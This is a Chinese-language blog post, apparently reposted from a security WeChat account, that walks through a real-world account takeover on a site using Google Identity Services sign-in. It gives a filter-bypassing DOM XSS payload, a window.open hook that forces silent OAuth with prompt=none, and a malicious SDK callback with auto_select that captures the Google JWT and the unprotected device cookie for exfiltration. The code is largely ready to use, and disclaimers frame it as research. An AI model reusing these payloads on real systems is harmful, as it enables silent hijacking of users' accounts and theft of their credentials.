谷歌登录也防不住?实战劫持GISSDK实现无感账号接管

admin 2025-12-30 01:32:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述了利用DOMXSS结合GoogleIdentityServices(GIS)SDK实现无感账号接管的方法。作者通过WAF与后端过滤逻辑差异绕过检测,发现缺乏HttpOnly保护的设备Cookie。随后利用Hookwindow.open注入静默认证参数,重写SDK回调并启用auto_select机制,成功自动化劫持JWT令牌与Cookie,证明了GISSDK在XSS环境下的账号接管风险。 综合评分: 87 文章分类: WEB安全,漏洞分析,实战经验,渗透测试,红队


cover_image

谷歌登录也防不住?实战劫持 GIS SDK 实现无感账号接管

原创

Pwn1

漏洞集萃

2025年12月19日 11:17 山东

免责声明 本公众号所发布的文章内容仅供学习与交流使用,禁止用于任何非法用途。

| | | — | | 原文链接 https://blog.voorivex.team/not-so-dirty-dancing-in-gis-sdk |

漏洞发现与初始绕过

在渗透一个系统的时候在其页面发现了 location.href,其中觉得他的 rUrl 参数位置可以尝试注入。

后续在注入的过程中发现了一些过滤,具体过滤规则如下: 过滤:/<>'"\./

对于该方法可以使用: https://target.com/login?rUrl=ja.va.sc.ri.pt.:al.er.t(or.ig.in)//blahblah.com 绕过构造 XSS

原理分析: 系统先用 WAF 检查是否存在 javascript: 关键字,如果没匹配到,再由应用后端把 . 删掉(类似 param.replaceAll(".", "") 的神操作)。所以 ja.va.sc... 在绕过检测后,被应用处理成了 javascript:...

由于这种管道一样的过滤方式、让每次被处理的 payload 不一样了:

【如果缺乏协调地叠加多个安全控制措施,就会造成不一致,而攻击者可以利用这些不一致之处。在本例中,目标采用了“先匹配后替换”的模式——WAF(Web 应用防火墙)负责匹配并阻止 javascript: 协议,同时一个独立的替换函数负责移除点号和其他特殊字符。单独来看,这两个机制都不存在漏洞,但它们的组合却创造了绕过漏洞的机会。这种碎片化的安全策略正是导致可利用的极端情况出现的原因。】

那我们继续寻找可以使用 domxss 的漏洞。

身份验证与突破

对于 XSS 要想进一步的证明其危害,最好的方式就是接管账号。

但是大部分常规的身份 session_id 已经通过 HttpOnly 和 SameSite=Lax(主要限制CSRF)限制了无法进一步的利用,并且我注意只要我切换浏览器登录就会发送验证邮件。

随后在熟悉环境的时候发现还存在一个叫做 dd 的 cookie,这是一个被用识别设备的 cookies,而且这个 cookie 没有相关的 HttpOnly 等安全措施,那么就意味着我们通过这个 cookie 可以实现:

  1. 1. 因为没有 HttpOnly 可以实现获取这个 cookie
  2. 2. 又因为这个 cookie 是别用来识别设备,我只要反复使用一个 cookie 那么就不会触发双因子验证。

那么我们就把注意力回归到应用的登录流程上。

分析GIS SDK

目标系统的登录流程使用了 Google 的身份服务 SDK (GIS) 来实现 OAuth2。其中我尝试使用重定向等漏洞,但是都被报 invalid_redirect_uri 错误。

我们来了解下 (GIS) SDK: Google 的身份服务 (GIS) SDK 实现了一种独特的 OAuth 2.0 流程,与传统的 OAuth 实现方式截然不同。关键区别在于,GIS 在内部处理整个身份验证流程,并不会向客户端应用程序暴露重定向 URI

GIS SDK 通过脚本标签加载到应用程序中,该标签会调用 Google 的 JavaScript 库:

<script&nbsp;src="https://accounts.google.com/gsi/client"&nbsp;async&nbsp;defer></script>

这会将全局 google 对象加载到窗口( window.google.accounts.id )上,这个对象会公开 GIS API 方法。

然后,应用程序会使用各种配置参数初始化 SDK

google.accounts.id.initialize({
&nbsp; client_id:&nbsp;'YOUR_GOOGLE_CLIENT_ID',
&nbsp; callback: handleCredentialResponse,
&nbsp; login_uri:&nbsp;'https://target.com/login',

&nbsp; auto_select:&nbsp;false,
&nbsp; cancel_on_tap_outside:&nbsp;true,
&nbsp; context:&nbsp;'signin',
&nbsp; ux_mode:&nbsp;'popup',
&nbsp; native_callback: nativeResponseHandler,
&nbsp; prompt_parent_id:&nbsp;'oneTapDiv',
&nbsp; nonce:&nbsp;'random_nonce',
&nbsp; state_cookie_domain:&nbsp;'target.com',
&nbsp; allowed_parent_origin:&nbsp;'https://target.com',
&nbsp; intermediate_iframe_close_callback: onClose
});

GIS身份验证

GIS 提供了多种触发身份验证的方法:

  • • One Tap Prompt (一键提示): google.accounts.id.prompt();
  • • Button Rendering (按钮渲染):
  google.accounts.id.renderButton(
  &nbsp; document.getElementById("buttonDiv"),
  &nbsp; styles
  );

GIS 认证流程

  1. 1. 当触发身份验证时,GIS 不会使用应用程序的重定向 URI,而是使用 Google 自己的中间端点:redirect_uri 始终是 gis_transform 一个由 Google 控制的内部端点。
  2. 2. 身份验证成功后,Google 会重定向到 gis/transform 端点,该端点:处理授权响应、生成 JWT 凭证令牌。
  3. 3. 凭证响应将传递到应用程序的回调函数:
function&nbsp;handleCredentialResponse(response) {
&nbsp; // response.credential contains the JWT token with user info
&nbsp; // response.select_by indicates how the credential was selected
&nbsp; // response.client_id contains the Google client ID
&nbsp; const&nbsp;jwt_token = response.credential;
}

攻击 GIS 的难度与切入点

攻击难度:

  1. 1. 没有客户端可控的 redirect_uri 由于 GIS 使用 gis/transform 作为重定向 URI,我们无法对其进行操作,我们上文提到【GIS 不再使用传统的 OAuth2 重定向(浏览器跳转),而是通过 postMessage 或内部逻辑在 iframe/弹出窗口间传递数据。】
  2. 2. 使用 JWT 令牌而非授权码: 应用程序接收可验证的已签名 JWT 令牌。
  3. 3. 所有数据都通过谷歌受控的端点传输。
  4. 4. SDK 从 Google 的域名加载,防止篡改。

突破点: 最终 Auth2 验证结束之后的还是要将 jwt token 返回给到回调函数,然后由应用的 js 代码继续完成后续的操作,那么我们看看我们可以做点什么:

  1. 1. 窗口对象访问:google 对象和回调函数位于全局窗口作用域中,因此任何 XSS 攻击都可以访问或覆盖它们。
  2. 2. 配置篡改:XSS 攻击可以通过恶意回调函数重新初始化 GIS,从而拦截凭据。
  3. 3. 令牌存储和处理: 如果未妥善保护,JWT 令牌和会话 cookie(例如我们的 dd cookie)可被 JavaScript 访问。

实现自动化

但是这一切的前提都是在完成 auth 认证之后,大家是否还记得我们一开始的 XSS 在什么位置: https://target.com/login?rUrl=ja.va.sc.ri.pt.:al.er.t(or.ig.in)//blahblah.com

是的,在登陆的位置,我们总不能让受害者刚登陆完又立马登陆了一次吧。

这个时候我们想起来之前的一篇文章,【https://blog.voorivex.team/oauth-non-happy-path-to-ato】这里提到可以使用通过参数 prompt=none 和 authuser=0,让 auth 全程静默操作,没有提示,并且会自动预先选择用户的 Google 帐户。

如何插入两个参数呢? auth 的操作是 GIS SDK 发起的,并不是我发起的。不过!我们现在仍然和 SDK 脚本在同一个浏览器窗口沙盒里,对吧?

所以我们可以通过对整个窗口的 window.open 函数进行 hook 操作。当 GIS SDK 尝试打开窗口时,我们可以拦截 URL 并注入所需的参数:

const&nbsp;originalOpen =&nbsp;window.open;

window.open&nbsp;=&nbsp;function&nbsp;(url, target, features) {
&nbsp; try&nbsp;{
&nbsp; &nbsp; // Only touch Google OAuth / Accounts URLs
&nbsp; &nbsp; if&nbsp;(typeof&nbsp;url ===&nbsp;"string"&nbsp;&& url.includes("accounts.google.com")) {
&nbsp; &nbsp; &nbsp; const&nbsp;parsedUrl =&nbsp;new&nbsp;URL(url);

&nbsp; &nbsp; &nbsp; // Add or overwrite desired OAuth parameters
&nbsp; &nbsp; &nbsp; parsedUrl.searchParams.set("prompt",&nbsp;"none");
&nbsp; &nbsp; &nbsp; parsedUrl.searchParams.set("authuser",&nbsp;"0");

&nbsp; &nbsp; &nbsp; url = parsedUrl.toString();
&nbsp; &nbsp; &nbsp; console.log("[OAuth Hook] Modified URL:", url);
&nbsp; &nbsp; }
&nbsp; }&nbsp;catch&nbsp;(err) {
&nbsp; &nbsp; console.warn("[OAuth Hook] URL modification failed:", err);
&nbsp; }

&nbsp; // Call the original window.open
&nbsp; return&nbsp;originalOpen.call(window, url, target, features);
};

但是还有一个问题,如果要触发 auth 认证,还需要点击下渲染出来的按钮,但这又是一次额外操作。

等等,我们提到了什么?诸位是不是想到了我们开头提到的 auth 两种触发方式。对的,我们还可以通过一键登陆来实现操作自动选择,google.accounts.id.initialize 函数中的 auto_select 参数:

auto_select: 如果启用,则一键提示将自动关闭,用户无需任何进一步交互即可登录。

这个时候只要再配合上 auto_select 参数,受害者就直接无感触发了 auth 认证,然后我们则可以使用 dom xss 进行窃取 dd cookie 和 Google JWT

const&nbsp;script =&nbsp;document.createElement('script');
script.src&nbsp;=&nbsp;'https://accounts.google.com/gsi/client';
script.async&nbsp;=&nbsp;true;
script.defer&nbsp;=&nbsp;true;

// Wait for script to load, then initialize
script.onload&nbsp;=&nbsp;function() {
&nbsp; try&nbsp;{
&nbsp; &nbsp; // Initialize Google Sign-In with malicious callback
&nbsp; &nbsp; google.accounts.id.initialize({
&nbsp; &nbsp; &nbsp; client_id: clientId,
&nbsp; &nbsp; &nbsp; callback:&nbsp;(response) =>&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; // Extract JWT token
&nbsp; &nbsp; &nbsp; &nbsp; const&nbsp;jwt = response.credential;

&nbsp; &nbsp; &nbsp; &nbsp; // Extract cookies
&nbsp; &nbsp; &nbsp; &nbsp; const&nbsp;cookies =&nbsp;document.cookie;

&nbsp; &nbsp; &nbsp; &nbsp; // Exfiltrate stolen credentials
&nbsp; &nbsp; &nbsp; &nbsp; exfiltrateData(jwt, cookies);

&nbsp; &nbsp; &nbsp; &nbsp; resolve({ jwt, cookies, payload });
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; itp_support:&nbsp;false,
&nbsp; &nbsp; &nbsp; use_fedcm_for_prompt:&nbsp;false,
&nbsp; &nbsp; &nbsp; auto_select:&nbsp;true&nbsp; // Automatically signs in user
&nbsp; &nbsp; });

&nbsp; &nbsp; // Trigger the sign-in prompt
&nbsp; &nbsp; if&nbsp;(window.google&nbsp;&&&nbsp;window.google.accounts.id.prompt) {
&nbsp; &nbsp; &nbsp; window.google.accounts.id.prompt(m&nbsp;=>&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(m.isNotDisplayed() || m.isSkippedMoment()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; console.log('Prompt not displayed or skipped');
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; });
&nbsp; &nbsp; }
&nbsp; }&nbsp;catch&nbsp;(error) {
&nbsp; &nbsp; reject(error);
&nbsp; }
};

script.onerror&nbsp;=&nbsp;function() {
&nbsp; reject(new&nbsp;Error('Failed to load Google Sign-In script'));
};

// Append script to page
document.head.appendChild(script);

就这样!通过将 DOM XSS 与 GIS SDK 操作和 auto_select 参数结合起来,实现了完全自动化的账户接管——除了用户最初点击恶意链接之外,无需任何用户交互。

觉得本文内容对您有启发或帮助? 点个关注➕,获取更多深度分析与前沿资讯!

👉 往期精选

信息收集最强OSINT姿势:Google一搜,全球程序员的密码、API Key、邮箱全裸奔

用 JADX 静态分析,反手挖出两个高危 ATO

如何发现 OpenAI Atlas的 OAuth泄漏漏洞


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:漏洞集萃 Pwn1《谷歌登录也防不住?实战劫持 GIS SDK 实现无感账号接管》

影子小程序搜索助手 网络安全文章

影子小程序搜索助手

文章总结: 本文探讨了影子小程序作为新增攻击面的安全风险,关联了小程序渗透测试及通杀利用方案的相关文章。核心在于发现隐藏或未发布的小程序实例,通过特定手段进行漏
评论:0   参与:  0